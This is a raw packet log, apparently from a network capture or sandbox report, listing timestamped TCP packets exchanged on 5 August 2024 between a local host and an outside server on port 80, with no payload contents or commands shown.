Aug 5, 2024 12:01:50.511369944 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.511379957 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.511392117 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.511403084 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.511415005 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.511432886 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:50.511432886 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:50.511468887 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:50.511641979 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.511652946 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.511663914 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.511677027 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.511688948 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.511710882 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:50.511744022 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:50.511965990 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.511976957 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.511986017 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.512001991 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.512020111 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.512031078 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.512041092 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.512042046 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:50.512042046 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:50.512049913 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.512062073 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.512065887 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:50.512072086 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.512083054 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.512090921 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:50.512094021 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.512104988 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.512110949 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:50.512115002 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.512126923 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.512130022 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:50.512137890 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.512154102 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:50.512176991 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:50.512808084 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.512819052 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.512828112 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.512839079 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.512849092 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.512860060 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.512867928 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:50.512872934 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.512883902 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.512887001 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:50.512896061 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.512906075 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.512917995 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.512928009 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.512934923 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:50.512938976 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.512949944 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.512960911 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.512960911 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:50.512972116 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.512978077 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:50.512996912 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:50.513662100 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.513672113 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.513683081 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.513694048 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.513705015 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.513715029 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:50.513715982 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.513727903 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.513740063 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.513741016 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:50.513751984 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.513758898 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:50.513762951 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.513775110 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.513778925 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:50.513787031 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.513797998 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.513801098 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:50.513809919 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.513819933 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.513832092 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.513844013 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.513847113 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:50.513847113 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:50.513854027 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.513865948 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:50.513866901 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.513885021 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:50.513914108 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:50.516015053 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:50.516110897 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:50.705984116 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.706012011 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.706022978 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.706082106 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:50.706110001 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.706121922 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.706131935 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.706144094 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.706159115 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:50.706176043 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:50.706332922 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.706345081 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.706353903 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.706363916 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.706374884 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.706399918 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:50.706418991 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:50.706582069 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.706593037 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.706602097 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.706612110 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.706623077 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.706644058 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:50.706665993 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:50.706819057 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.706828117 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.706844091 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.706885099 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:50.706926107 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.706935883 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.706944942 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.706954956 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.706965923 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.706976891 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.706980944 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:50.706989050 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.706993103 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:50.707001925 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.707024097 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:50.707048893 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:50.707325935 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.707524061 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.707534075 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.707540035 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.707545042 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.707554102 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.707565069 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.707575083 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.707585096 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:50.707586050 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.707597017 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.707607031 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.707614899 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:50.707618952 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.707629919 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.707631111 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:50.707640886 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.707674980 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:50.707695961 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:50.707997084 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.708050013 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.708142996 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.708153009 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.708158016 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.708190918 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:50.708348036 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.708358049 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.708368063 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.708379030 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.708389997 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.708390951 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:50.708401918 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.708412886 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.708420038 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:50.708444118 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:50.708455086 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:50.708627939 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.708637953 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.708683014 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.708693027 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.708705902 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.708715916 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.708729029 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.708729029 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:50.708739042 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.708748102 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:50.708786964 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:50.709041119 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.709050894 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.709059954 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.709069967 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.709088087 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.709095955 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:50.709098101 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.709110975 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.709120989 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.709127903 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:50.709142923 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:50.709153891 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:50.709523916 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.709534883 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.709543943 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.709556103 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.709563971 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:50.709566116 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.709577084 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.709587097 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.709590912 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:50.709598064 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.709609032 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.709618092 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:50.709619999 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:50.709645987 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:50.709666967 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:50.801064014 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:50.801148891 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.046025991 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.046058893 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.046071053 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.046103954 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.046197891 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.046210051 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.046221972 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.046235085 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.046236992 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.046261072 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.046344042 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.046438932 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.046468019 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.046480894 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.046490908 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.046503067 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.046514988 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.046516895 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.046530008 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.046538115 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.046565056 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.046729088 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.046741009 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.046781063 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.046849012 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.046860933 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.046871901 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.046885014 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.046896935 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.046907902 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.046910048 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.046922922 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.046936989 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.046938896 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.047236919 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.047250986 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.047266006 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.047266006 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.047285080 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.047391891 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.047404051 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.047415972 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.047429085 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.047434092 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.047441006 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.047477007 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.047641993 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.047661066 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.047679901 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.047682047 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.047693968 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.047705889 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.047718048 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.047727108 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.047729969 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.047744036 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.047748089 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.047755957 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.047772884 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.047800064 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.048254013 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.048269033 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.048279047 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.048290014 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.048301935 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.048314095 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.048331022 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.048331022 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.048341990 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.048348904 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.048357010 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.048362017 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.048363924 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.048372030 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.048372984 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.048379898 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.048382044 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.048387051 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.048393965 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.048396111 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.048398018 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.048407078 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.048429012 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.049052000 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.049066067 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.049084902 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.049097061 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.049108028 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.049114943 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.049119949 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.049132109 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.049143076 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.049148083 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.049160957 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.049192905 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.049424887 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.049437046 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.049448967 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.049460888 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.049474001 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.049488068 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.049504042 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.049515963 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.049530029 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.049685001 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.049695969 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.049709082 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.049741030 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.049762011 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.049832106 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.049844027 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.049854994 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.049866915 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.049879074 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.049890041 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.049895048 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.049901009 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.049912930 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.049923897 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.049923897 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.049937963 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.049942017 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.049978971 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.343647957 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.343662977 CEST	80	49906	27.221.16.179	192.168.2.7
